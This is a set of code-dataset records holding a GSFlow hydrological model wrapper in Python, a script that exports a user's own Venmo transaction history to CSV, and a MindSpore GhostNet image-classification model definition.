self.prms.write(ws)\r\n\r\n control_ws, name = self.split_path(self.name)\r\n control_ws = os.path.join(ws, name)\r\n self.name = control_ws\r\n self.controlfile.write(control_ws)\r\n\r\n # build the output directory structure from the control file\r\n for key in self._output_keys:\r\n try:\r\n fpath = self.controlfile[key]\r\n path = self.split_path(fpath)[0]\r\n if len(path) > 0:\r\n path = self.get_path(path)\r\n if not os.path.exists(path):\r\n os.makedirs(path)\r\n except KeyError:\r\n pass\r\n\r\n mfoutput = self.get_path(self.modflow_nam.gsflow_output_path)\r\n if not os.path.exists(mfoutput):\r\n os.makedirs(mfoutput)\r\n\r\n def run(self, controlfile=None, gsflow_exe='gsflow.exe'):\r\n \"\"\"\r\n Method to run the GSFlow model contained in the GSFlowModel object\r\n\r\n Parameters:\r\n -----------\r\n gsflow_exe: (str) name and/or location of the gsflow.exe\r\n \"\"\"\r\n from subprocess import Popen, PIPE\r\n warnings.warn('Please write GSFlowModel object prior to running edited instances of the model')\r\n\r\n if controlfile is None:\r\n controlfile = self.controlfile\r\n\r\n if isinstance(controlfile, file):\r\n controlfile = controlfile.name\r\n\r\n elif isinstance(controlfile, Control):\r\n controlfile = controlfile.name\r\n\r\n elif isinstance(controlfile, str):\r\n pass\r\n\r\n else:\r\n raise TypeError('Unrecognised type for controlfile')\r\n\r\n p = Popen([gsflow_exe, controlfile], stdout=PIPE,\r\n stderr=PIPE, cwd=self.ws)\r\n while True:\r\n stdout_line = p.stdout.readline()\r\n c = stdout_line.decode('utf-8')\r\n if c != '':\r\n c = c.strip('\\r\\n')\r\n print('{}'.format(c))\r\n\r\n p.kill()\r\n return\r\n\r\nclass ModFlowNam(OrderedDict):\r\n \"\"\"\r\n Class to read & write custom Gsflow based modflow nam files\r\n maintain old relative paths.\r\n\r\n Parameters\r\n ----------\r\n nam: (str, file) if nam is a string, it must be the absolute path\r\n to the modflow name file. Can also be an open\r\n modflow name file.\r\n \"\"\"\r\n def __init__(self, nam):\r\n super(ModFlowNam, self).__init__()\r\n self.__input_path = ''\r\n self.__output_path = ''\r\n self.__header = '#Name file for GSFLOW MODFLOW-NWT model,' + \\\r\n ' generated by GSFloPy\\n'\r\n self.spatial_reference = ''\r\n\r\n if isinstance(nam, file):\r\n self.__nam = nam.name.split('\\\\')[-1]\r\n self.__read_nam_file(nam)\r\n\r\n elif isinstance(nam, str):\r\n nam = nam.replace('/', '\\\\')\r\n self.__nam = nam.split('\\\\')[-1]\r\n if os.path.exists(nam):\r\n self.__read_nam_file(open(nam, 'r'))\r\n else:\r\n raise AssertionError('NAM file not found')\r\n else:\r\n raise TypeError('nam file not of recognized type <file> or <str>')\r\n\r\n def __read_nam_file(self, nam):\r\n \"\"\"\r\n Method to read the modflow nam file and set its values to an\r\n ordered dictionary, maintains relative paths for operation with\r\n GSFlow model.\r\n\r\n Parameters:\r\n -----------\r\n name: (file) open modflow nam file\r\n \"\"\"\r\n data = nam.readlines()\r\n for i, pkg in enumerate(data):\r\n if i <= 1 and pkg.startswith('#'):\r\n if 'xul' in pkg:\r\n self.spatial_reference = pkg\r\n\r\n else:\r\n pkg = [i for i in pkg.strip('\\n').split(' ') if i != '']\r\n\r\n if len(pkg) > 3:\r\n replace = pkg.pop(-1)\r\n else:\r\n replace = ''\r\n\r\n path = pkg.pop(-1).split('\\\\')\r\n name = path.pop(-1)\r\n path = '\\\\'.join(path)\r\n unit = pkg[1]\r\n pkg = pkg[0]\r\n\r\n if pkg.lower() == 'dis':\r\n self.__input_path = path\r\n\r\n elif pkg.lower() == 'list':\r\n self.__output_path = path\r\n\r\n else:\r\n pass\r\n\r\n rec = dict(name=name,\r\n rel_path=path,\r\n unit=unit,\r\n pkg=pkg,\r\n replace=replace)\r\n\r\n super(ModFlowNam, self).__setitem__(name, rec)\r\n\r\n def __check_if_input(self, pkg):\r\n \"\"\"\r\n Checks if the pkg is considered input or output\r\n\r\n Parameters:\r\n -----------\r\n pkg: (str) the modflow namefile pakage name\r\n\r\n Returns:\r\n --------\r\n boolean\r\n \"\"\"\r\n output = ('list', 'data', 'data(binary)')\r\n # input = ()\r\n if pkg.lower() in output:\r\n return False\r\n else:\r\n return True\r\n\r\n def __check_units(self, rec, mfnam):\r\n \"\"\"\r\n Checks the flopy modflow produced nam file for potential unit conflicts,\r\n especially when mfuzf1 package is used:\r\n\r\n Parameters:\r\n -----------\r\n d (dict) this an mfnam record from the flopy temp nam file.\r\n mfnam <ModFlowNam object> corresponding to the flopy temp nam file\r\n\r\n Returns:\r\n --------\r\n bool\r\n \"\"\"\r\n name = rec['name']\r\n unit = rec['unit']\r\n extension = name.split('.')[-1]\r\n\r\n if name in self:\r\n return True\r\n else:\r\n if extension.lower() in ('uzfbt1', 'uzfbt2'):\r\n for key, record in mfnam.items():\r\n if record['name'].split('.')[-1].lower() == 'cbc':\r\n if unit == record['unit']:\r\n return False\r\n return True\r\n\r\n elif 'uzfb' in extension.lower():\r\n for key, record in self.items():\r\n if unit == record['unit']:\r\n return False\r\n return True\r\n\r\n else:\r\n return True\r\n\r\n def clear_path(self):\r\n \"\"\"\r\n Removes the stored relative path from metadata for each pkg\r\n \"\"\"\r\n for key, rec in self.items():\r\n rec['rel_path'] = ''\r\n\r\n def set_input_relative_path(self, path):\r\n \"\"\"\r\n Sets a new relative path in for all input files\r\n\r\n Parameters:\r\n -----------\r\n path: (str) relative path name from input\r\n \"\"\"\r\n path = path.replace('/', '\\\\')\r\n for key, rec in self.items():\r\n input = self.__check_if_input(rec['pkg'])\r\n if input:\r\n rec['rel_path'] = path\r\n self.__input_path = path\r\n\r\n def set_output_relative_path(self, path):\r\n \"\"\"\r\n Sets a new relative path in for all output files\r\n\r\n Parameters:\r\n -----------\r\n path: (str) relative path name from input\r\n \"\"\"\r\n path = path.replace('/', '\\\\')\r\n for key, rec in self.items():\r\n input = self.__check_if_input(rec['pkg'])\r\n if not input:\r\n rec['rel_path'] = path\r\n self.__output_path = path\r\n\r\n @property\r\n def gsflow_output_path(self):\r\n return self.__output_path\r\n\r\n @property\r\n def gsflow_input_path(self):\r\n return self.__input_path\r\n\r\n @staticmethod\r\n def load(nam):\r\n \"\"\"\r\n Simple method to open a modflow name file and instantiate the\r\n ModFlowNam class\r\n\r\n Parameters:\r\n -----------\r\n nam: (str) name of the modflow nam file\r\n\r\n Returns:\r\n <class gsflow.ModFlowNam> object\r\n \"\"\"\r\n nam = open(nam, 'r')\r\n return ModFlowNam(nam)\r\n\r\n def write(self, mf_ws, clear_relative_paths=False):\r\n \"\"\"\r\n Read and replace the flopy nam file with a nam file\r\n that includes the necessary relative paths for GSFlow to\r\n operate correctly\r\n\r\n Parameters:\r\n -----------\r\n mf_ws: (str) workspace for modflow model\r\n clear_relative_paths: (bool) if True assumes mf_ws is the same as\r\n the GSFlow control file workspace\r\n \"\"\"\r\n __mfnam = os.path.join(mf_ws, self.__nam)\r\n mfnam = ModFlowNam.load(__mfnam)\r\n\r\n f = open(__mfnam, 'w')\r\n f.write(self.__header)\r\n f.write(mfnam.spatial_reference)\r\n if clear_relative_paths:\r\n for key, rec in mfnam.items():\r\n f.write('{:14} {:4} {} {}\\n'.format(rec['pkg'],\r\n rec['unit'],\r\n rec['name'],\r\n rec['replace']))\r\n\r\n for key, rec in mfnam.items():\r\n if self.__check_units(rec, mfnam):\r\n if key in self:\r\n rec['rel_path'] = self[key]['rel_path']\r\n\r\n else:\r\n mfinput = self.__check_if_input(mfnam[key]['pkg'])\r\n if mfinput:\r\n rec['rel_path'] = self.__input_path\r\n else:\r\n rec['rel_path'] = self.__output_path\r\n\r\n if rec['rel_path'] == '':\r\n f.write('{:14} {:4} {}{} {}\\n'.format(rec['pkg'],\r\n rec['unit'],\r\n rec['rel_path'],\r\n rec['name'],\r\n rec['replace']))\r\n else:\r\n\r\n f.write('{:14} {:4} {}\\\\{} {}\\n'.format(rec['pkg'],\r\n rec['unit'],\r\n rec['rel_path'],\r\n rec['name'],\r\n rec['replace']))\r\n else:\r\n pass\r\n\r\nmodel = 'gsflow.control'\r\nws = r'C:\\Users\\jlarsen\\Desktop\\RussianRiver\\GSFLOW_1.2.1\\data\\sagehen\\windows'\r\n# ws = r'C:\\Users\\jlarsen\\Desktop\\RussianRiver\\WriteTest\\gsflow'\r\ngsflow_exe = r'C:\\Users\\jlarsen\\Desktop\\RussianRiver\\GSFLOW_1.2.1\\bin\\gsflow.exe'\r\ngsflow = GSFlowModel.load(model, ws=ws)\r\nprint(gsflow.modflow.get_package_list())\r\ndis = gsflow.modflow.get_package('UZF')\r\n\r\nws = r'C:\\Users\\jlarsen\\Desktop\\RussianRiver\\WriteTest\\gsflow'\r\ngsflow.write(ws)\r\ngsflow.run(gsflow_exe=gsflow_exe)\r\n\r\n# todo: compile list of parameters that RedRiver group would like to change\r\n# todo: add, subtract. Create methods for these.\r\n", "sub_path": "custom_files/gsflow_2.8.2017.py", "file_name": "gsflow_2.8.2017.py", "file_ext": "py", "file_size_in_byte": 39303, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.OrderedDict", "line_number": 14, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 147, "usage_type": "argument"}, {"api_name": "os.path.exists", "line_number": 269, "usage_type": "call"}, {"api_name": "os.path", "line_number": 269, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 272, "usage_type": "call"}, {"api_name": "re.split", "line_number": 340, "usage_type": "call"}, {"api_name": "re.split", "line_number": 366, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 371, "usage_type": "call"}, {"api_name": "os.path", "line_number": 371, "usage_type": "attribute"}, {"api_name": "copy.copy", "line_number": 374, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 381, "usage_type": "call"}, {"api_name": "os.path", "line_number": 381, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 401, "usage_type": "call"}, {"api_name": "os.path", "line_number": 401, "usage_type": "attribute"}, {"api_name": "shutil.copyfile", "line_number": 402, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 424, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 427, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 455, "usage_type": "call"}, {"api_name": "re.split", "line_number": 471, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 573, "usage_type": "call"}, {"api_name": "prms_python.Data", "line_number": 580, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 595, "usage_type": "call"}, {"api_name": "prms_python.Parameters", "line_number": 602, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 624, "usage_type": "call"}, {"api_name": "os.path", "line_number": 624, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 625, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 678, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 683, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 732, "usage_type": "call"}, {"api_name": "os.path", "line_number": 732, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 732, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 747, "usage_type": "call"}, {"api_name": "os.path", "line_number": 747, "usage_type": "attribute"}, {"api_name": "warnings.warn", "line_number": 765, "usage_type": "call"}, {"api_name": "flopy.modflow.Modflow.load", "line_number": 773, "usage_type": "call"}, {"api_name": "flopy.modflow", "line_number": 773, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 775, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 775, "usage_type": "call"}, {"api_name": "os.path", "line_number": 775, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 801, "usage_type": "call"}, {"api_name": "os.path", "line_number": 801, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 834, "usage_type": "call"}, {"api_name": "os.path", "line_number": 834, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 845, "usage_type": "call"}, {"api_name": "os.path", "line_number": 845, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 846, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 851, "usage_type": "call"}, {"api_name": "os.path", "line_number": 851, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 852, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 863, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 880, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 880, "usage_type": "name"}, {"api_name": "subprocess.PIPE", "line_number": 881, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 892, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 918, "usage_type": "call"}, {"api_name": "os.path", "line_number": 918, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 1101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 1101, "usage_type": "attribute"}, {"api_name": "{'Popen': 'subprocess.Popen', 'PIPE': 'subprocess.PIPE'}.load", "line_number": 1146, "usage_type": "call"}]} {"seq_id": "271319452", "text": "import requests\nimport csv\nimport time\nimport datetime\nimport dateutil.relativedelta\n\ncookie = 'v_id=YOUR_ID; api_access_token=YOUR_API_TOKEN; csrftoken2=YOUR_CSRF_TOKEN'\n\nstart_date = datetime.datetime.strptime(\"2019-11-01\", \"%Y-%m-%d\")\n\nheader_included = False\n\nwith open('venmo_data.csv', 'w', newline='') as csvfile:\n writer = csv.writer(csvfile, delimiter=',',\n quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n for x in range(3):\n month_end_date = start_date + \\\n dateutil.relativedelta.relativedelta(months=1, days=-1)\n\n url = 'https://api.venmo.com/v1/transaction-history?start_date=' + \\\n start_date.strftime(\"%Y-%m-%d\") + '&end_date=' + \\\n month_end_date.strftime(\"%Y-%m-%d\") + '&csv=true'\n\n r = requests.get(url, headers={\"cookie\": cookie})\n\n decoded_content = r.content.decode('utf-8')\n cr = csv.reader(decoded_content.splitlines(), delimiter=',')\n my_list = list(cr)\n length = len(my_list)\n printed = 0\n for row in my_list:\n printed += 1\n if (printed == 1):\n if (header_included):\n # If this is the first row and we've already included the header we want to skip\n continue\n else:\n header_included = True\n if (printed == 2):\n # the second line is the begining balance for the period we are downloading\n continue\n if (printed > length - 4):\n # the last 4 lines of the csv are ending balance stuff, notes on\n # fees and some legal notes we want to ignore\n break\n\n # don't include Transfers (which is just transfering money back to the bank)\n # or merchant transactions (like paying for ubers or whatever)\n if(row[3] != 'Standard Transfer' and row[3] != 'Merchant Transaction'):\n print(row)\n writer.writerow(row)\n\n start_date = start_date - dateutil.relativedelta.relativedelta(months=1)\n # wait one second between requests just to avoid rate limiting issues or whatever\n time.sleep(1)\n", "sub_path": "download.py", "file_name": "download.py", "file_ext": "py", "file_size_in_byte": 2207, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 14, "usage_type": "call"}, {"api_name": "csv.QUOTE_MINIMAL", "line_number": 15, "usage_type": "attribute"}, {"api_name": "dateutil.relativedelta.relativedelta.relativedelta", "line_number": 18, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 18, "usage_type": "attribute"}, {"api_name": "dateutil.relativedelta", "line_number": 18, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 24, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 27, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta.relativedelta", "line_number": 53, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 53, "usage_type": "attribute"}, {"api_name": "dateutil.relativedelta", "line_number": 53, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}]} {"seq_id": "408009179", "text": "# Copyright 2020 Huawei Technologies Co., Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"GhostNet model define\"\"\"\nfrom functools import partial\nimport math\nimport numpy as np\nimport mindspore.nn as nn\nfrom mindspore.ops import operations as P\nfrom mindspore import Tensor\nfrom .quant import QuanConv\n\n\n__all__ = ['ghostnet']\n\n\ndef _make_divisible(x, divisor=4):\n return int(np.ceil(x * 1. / divisor) * divisor)\n\n\nclass MyHSigmoid(nn.Cell):\n \"\"\"\n Hard Sigmoid definition.\n\n Args:\n\n Returns:\n Tensor, output tensor.\n\n Examples:\n >>> MyHSigmoid()\n \"\"\"\n\n def __init__(self):\n super(MyHSigmoid, self).__init__()\n self.relu6 = nn.ReLU6()\n\n def construct(self, x):\n return self.relu6(x + 3.) * 0.16666667\n\n\nclass Activation(nn.Cell):\n \"\"\"\n Activation definition.\n\n Args:\n act_func(string): activation name.\n\n Returns:\n Tensor, output tensor.\n \"\"\"\n\n def __init__(self, act_func):\n super(Activation, self).__init__()\n if act_func == 'relu':\n self.act = nn.ReLU()\n elif act_func == 'relu6':\n self.act = nn.ReLU6()\n elif act_func in ('hsigmoid', 'hard_sigmoid'):\n self.act = MyHSigmoid()\n elif act_func in ('hswish', 'hard_swish'):\n self.act = nn.HSwish()\n else:\n raise NotImplementedError\n\n def construct(self, x):\n return self.act(x)\n\n\nclass GlobalAvgPooling(nn.Cell):\n \"\"\"\n Global avg pooling definition.\n\n Args:\n\n Returns:\n Tensor, output tensor.\n\n Examples:\n >>> GlobalAvgPooling()\n \"\"\"\n\n def __init__(self, keep_dims=False):\n super(GlobalAvgPooling, self).__init__()\n self.mean = P.ReduceMean(keep_dims=keep_dims)\n\n def construct(self, x):\n x = self.mean(x, (2, 3))\n return x\n\n\nclass SE(nn.Cell):\n \"\"\"\n SE warpper definition.\n\n Args:\n num_out (int): output channel.\n ratio (int): middle output ratio.\n\n Returns:\n Tensor, output tensor.\n\n Examples:\n >>> SE(4)\n \"\"\"\n\n def __init__(self, num_out, ratio=4):\n super(SE, self).__init__()\n num_mid = _make_divisible(num_out // ratio)\n self.pool = GlobalAvgPooling(keep_dims=True)\n self.conv_reduce = QuanConv(in_channels=num_out, out_channels=num_mid,\n kernel_size=1, has_bias=True, pad_mode='pad')\n self.act1 = Activation('relu')\n self.conv_expand = QuanConv(in_channels=num_mid, out_channels=num_out,\n kernel_size=1, has_bias=True, pad_mode='pad')\n self.act2 = Activation('hsigmoid')\n self.mul = P.Mul()\n\n def construct(self, x):\n out = self.pool(x)\n out = self.conv_reduce(out)\n out = self.act1(out)\n out = self.conv_expand(out)\n out = self.act2(out)\n out = self.mul(x, out)\n return out\n\n\nclass ConvUnit(nn.Cell):\n \"\"\"\n ConvUnit warpper definition.\n\n Args:\n num_in (int): Input channel.\n num_out (int): Output channel.\n kernel_size (int): Input kernel size.\n stride (int): Stride size.\n padding (int): Padding number.\n num_groups (int): Output num group.\n use_act (bool): Used activation or not.\n act_type (string): Activation type.\n\n Returns:\n Tensor, output tensor.\n\n Examples:\n >>> ConvUnit(3, 3)\n \"\"\"\n\n def __init__(self, num_in, num_out, kernel_size=1, stride=1, padding=0, num_groups=1,\n use_act=True, act_type='relu'):\n super(ConvUnit, self).__init__()\n self.conv = QuanConv(in_channels=num_in,\n out_channels=num_out,\n kernel_size=kernel_size,\n stride=stride,\n padding=padding,\n group=num_groups,\n has_bias=False,\n pad_mode='pad')\n self.bn = nn.BatchNorm2d(num_out)\n self.use_act = use_act\n self.act = Activation(act_type) if use_act else None\n\n def construct(self, x):\n out = self.conv(x)\n out = self.bn(out)\n if self.use_act:\n out = self.act(out)\n return out\n\n\nclass GhostModule(nn.Cell):\n \"\"\"\n GhostModule warpper definition.\n\n Args:\n num_in (int): Input channel.\n num_out (int): Output channel.\n kernel_size (int): Input kernel size.\n stride (int): Stride size.\n padding (int): Padding number.\n ratio (int): Reduction ratio.\n dw_size (int): kernel size of cheap operation.\n use_act (bool): Used activation or not.\n act_type (string): Activation type.\n\n Returns:\n Tensor, output tensor.\n\n Examples:\n >>> GhostModule(3, 3)\n \"\"\"\n\n def __init__(self, num_in, num_out, kernel_size=1, stride=1, padding=0, ratio=2, dw_size=3,\n use_act=True, act_type='relu'):\n super(GhostModule, self).__init__()\n init_channels = math.ceil(num_out / ratio)\n new_channels = init_channels * (ratio - 1)\n\n self.primary_conv = ConvUnit(num_in, init_channels, kernel_size=kernel_size, stride=stride, padding=padding,\n num_groups=1, use_act=use_act, act_type='relu')\n self.cheap_operation = ConvUnit(init_channels, new_channels, kernel_size=dw_size, stride=1, padding=dw_size//2,\n num_groups=init_channels, use_act=use_act, act_type='relu')\n self.concat = P.Concat(axis=1)\n\n def construct(self, x):\n x1 = self.primary_conv(x)\n x2 = self.cheap_operation(x1)\n return self.concat((x1, x2))\n\n\nclass GhostBottleneck(nn.Cell):\n \"\"\"\n GhostBottleneck warpper definition.\n\n Args:\n num_in (int): Input channel.\n num_mid (int): Middle channel.\n num_out (int): Output channel.\n kernel_size (int): Input kernel size.\n stride (int): Stride size.\n act_type (str): Activation type.\n use_se (bool): Use SE warpper or not.\n\n Returns:\n Tensor, output tensor.\n\n Examples:\n >>> GhostBottleneck(16, 3, 1, 1)\n \"\"\"\n\n def __init__(self, num_in, num_mid, num_out, kernel_size, stride=1, act_type='relu', use_se=False):\n super(GhostBottleneck, self).__init__()\n self.ghost1 = GhostModule(num_in, num_mid, kernel_size=1,\n stride=1, padding=0, act_type=act_type)\n\n self.use_dw = stride > 1\n self.dw = None\n if self.use_dw:\n self.dw = ConvUnit(num_mid, num_mid, kernel_size=kernel_size, stride=stride,\n padding=self._get_pad(kernel_size), act_type=act_type, num_groups=num_mid, use_act=False)\n\n self.use_se = use_se\n if use_se:\n self.se = SE(num_mid)\n\n self.ghost2 = GhostModule(num_mid, num_out, kernel_size=1, stride=1,\n padding=0, act_type=act_type, use_act=False)\n\n self.down_sample = False\n if num_in != num_out or stride != 1:\n self.down_sample = True\n self.shortcut = None\n if self.down_sample:\n self.shortcut = nn.SequentialCell([\n ConvUnit(num_in, num_in, kernel_size=kernel_size, stride=stride,\n padding=self._get_pad(kernel_size), num_groups=num_in, use_act=False),\n ConvUnit(num_in, num_out, kernel_size=1, stride=1,\n padding=0, num_groups=1, use_act=False),\n ])\n self.add = P.Add()\n\n def construct(self, x):\n r\"\"\"construct of GhostNet BottleNeck\"\"\"\n shortcut = x\n out = self.ghost1(x)\n if self.use_dw:\n out = self.dw(out)\n if self.use_se:\n out = self.se(out)\n out = self.ghost2(out)\n if self.down_sample:\n shortcut = self.shortcut(shortcut)\n out = self.add(shortcut, out)\n return out\n\n def _get_pad(self, kernel_size):\n \"\"\"set the padding number\"\"\"\n pad = 0\n if kernel_size == 1:\n pad = 0\n elif kernel_size == 3:\n pad = 1\n elif kernel_size == 5:\n pad = 2\n elif kernel_size == 7:\n pad = 3\n else:\n raise NotImplementedError\n return pad\n\n\nclass GhostNet(nn.Cell):\n \"\"\"\n GhostNet architecture.\n\n Args:\n model_cfgs (Cell): number of classes.\n num_classes (int): Output number classes.\n multiplier (int): Channels multiplier for round to 8/16 and others. Default is 1.\n final_drop (float): Dropout number.\n round_nearest (list): Channel round to . Default is 8.\n Returns:\n Tensor, output tensor.\n\n Examples:\n >>> GhostNet(num_classes=1000)\n \"\"\"\n\n def __init__(self, model_cfgs, num_classes=1000, multiplier=1., final_drop=0., round_nearest=8):\n super(GhostNet, self).__init__()\n self.cfgs = model_cfgs['cfg']\n self.inplanes = 16\n first_conv_in_channel = 3\n first_conv_out_channel = _make_divisible(multiplier * self.inplanes)\n\n self.conv_stem = QuanConv(in_channels=first_conv_in_channel,\n out_channels=first_conv_out_channel,\n kernel_size=3, padding=1, stride=2,\n has_bias=False, pad_mode='pad')\n self.bn1 = nn.BatchNorm2d(first_conv_out_channel)\n self.act1 = Activation('relu')\n\n self.blocks = []\n for layer_cfg in self.cfgs:\n self.blocks.append(self._make_layer(kernel_size=layer_cfg[0],\n exp_ch=_make_divisible(\n multiplier * layer_cfg[1]),\n out_channel=_make_divisible(\n multiplier * layer_cfg[2]),\n use_se=layer_cfg[3],\n act_func=layer_cfg[4],\n stride=layer_cfg[5]))\n output_channel = _make_divisible(\n multiplier * model_cfgs[\"cls_ch_squeeze\"])\n self.blocks.append(ConvUnit(_make_divisible(multiplier * self.cfgs[-1][2]), output_channel,\n kernel_size=1, stride=1, padding=0, num_groups=1, use_act=True))\n self.blocks = nn.SequentialCell(self.blocks)\n\n self.global_pool = GlobalAvgPooling(keep_dims=True)\n self.conv_head = QuanConv(in_channels=output_channel,\n out_channels=model_cfgs['cls_ch_expand'],\n kernel_size=1, padding=0, stride=1,\n has_bias=True, pad_mode='pad')\n self.act2 = Activation('relu')\n self.squeeze = P.Flatten()\n self.final_drop = final_drop\n if self.final_drop > 0:\n self.dropout = nn.Dropout(p=1 - self.final_drop)\n\n self.classifier = nn.Dense(\n model_cfgs['cls_ch_expand'], num_classes, has_bias=True)\n\n self._initialize_weights()\n\n def construct(self, x):\n r\"\"\"construct of GhostNet\"\"\"\n x = self.conv_stem(x)\n x = self.bn1(x)\n x = self.act1(x)\n x = self.blocks(x)\n x = self.global_pool(x)\n x = self.conv_head(x)\n x = self.act2(x)\n x = self.squeeze(x)\n if self.final_drop > 0:\n x = self.dropout(x)\n x = self.classifier(x)\n return x\n\n def _make_layer(self, kernel_size, exp_ch, out_channel, use_se, act_func, stride=1):\n mid_planes = exp_ch\n out_planes = out_channel\n layer = GhostBottleneck(self.inplanes, mid_planes, out_planes,\n kernel_size, stride=stride, act_type=act_func, use_se=use_se)\n self.inplanes = out_planes\n return layer\n\n def _initialize_weights(self):\n \"\"\"\n Initialize weights.\n\n Args:\n\n Returns:\n None.\n\n Examples:\n >>> _initialize_weights()\n \"\"\"\n self.init_parameters_data()\n for _, m in self.cells_and_names():\n if isinstance(m, (nn.Conv2d)):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.set_parameter_data(Tensor(np.random.normal(0, np.sqrt(2. / n),\n m.weight.data.shape).astype(\"float32\")))\n if m.bias is not None:\n m.bias.set_parameter_data(\n Tensor(np.zeros(m.bias.data.shape, dtype=\"float32\")))\n elif isinstance(m, nn.BatchNorm2d):\n m.gamma.set_parameter_data(\n Tensor(np.ones(m.gamma.data.shape, dtype=\"float32\")))\n m.beta.set_parameter_data(\n Tensor(np.zeros(m.beta.data.shape, dtype=\"float32\")))\n elif isinstance(m, nn.Dense):\n m.weight.set_parameter_data(Tensor(np.random.normal(\n 0, 0.01, m.weight.data.shape).astype(\"float32\")))\n if m.bias is not None:\n m.bias.set_parameter_data(\n Tensor(np.zeros(m.bias.data.shape, dtype=\"float32\")))\n\n\ndef ghostnet(model_name, **kwargs):\n \"\"\"\n Constructs a GhostNet model\n \"\"\"\n model_cfgs = {\n \"1x\": {\n \"cfg\": [\n # k, exp, c, se, nl, s,\n # stage1\n [3, 16, 16, False, 'relu', 1],\n # stage2\n [3, 48, 24, False, 'relu', 2],\n [3, 72, 24, False, 'relu', 1],\n # stage3\n [5, 72, 40, True, 'relu', 2],\n [5, 120, 40, True, 'relu', 1],\n # stage4\n [3, 240, 80, False, 'relu', 2],\n [3, 200, 80, False, 'relu', 1],\n [3, 184, 80, False, 'relu', 1],\n [3, 184, 80, False, 'relu', 1],\n [3, 480, 112, True, 'relu', 1],\n [3, 672, 112, True, 'relu', 1],\n # stage5\n [5, 672, 160, True, 'relu', 2],\n [5, 960, 160, False, 'relu', 1],\n [5, 960, 160, True, 'relu', 1],\n [5, 960, 160, False, 'relu', 1],\n [5, 960, 160, True, 'relu', 1]],\n \"cls_ch_squeeze\": 960,\n \"cls_ch_expand\": 1280,\n },\n\n \"nose_1x\": {\n \"cfg\": [\n # k, exp, c, se, nl, s,\n # stage1\n [3, 16, 16, False, 'relu', 1],\n # stage2\n [3, 48, 24, False, 'relu', 2],\n [3, 72, 24, False, 'relu', 1],\n # stage3\n [5, 72, 40, False, 'relu', 2],\n [5, 120, 40, False, 'relu', 1],\n # stage4\n [3, 240, 80, False, 'relu', 2],\n [3, 200, 80, False, 'relu', 1],\n [3, 184, 80, False, 'relu', 1],\n [3, 184, 80, False, 'relu', 1],\n [3, 480, 112, False, 'relu', 1],\n [3, 672, 112, False, 'relu', 1],\n # stage5\n [5, 672, 160, False, 'relu', 2],\n [5, 960, 160, False, 'relu', 1],\n [5, 960, 160, False, 'relu', 1],\n [5, 960, 160, False, 'relu', 1],\n [5, 960, 160, False, 'relu', 1]],\n \"cls_ch_squeeze\": 960,\n \"cls_ch_expand\": 1280,\n }\n }\n\n return GhostNet(model_cfgs[model_name], **kwargs)\n\n\nghostnet_1x = partial(ghostnet, model_name=\"1x\", final_drop=0.8)\nghostnet_nose_1x = partial(ghostnet, model_name=\"nose_1x\", final_drop=0.8)\n", "sub_path": "research/cv/ghostnet_quant/src/ghostnet.py", "file_name": "ghostnet.py", "file_ext": "py", "file_size_in_byte": 16399, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.ceil", "line_number": 29, "usage_type": "call"}, {"api_name": "mindspore.nn.Cell", "line_number": 32, "usage_type": "attribute"}, {"api_name": "mindspore.nn", "line_number": 32, "usage_type": "name"}, {"api_name": 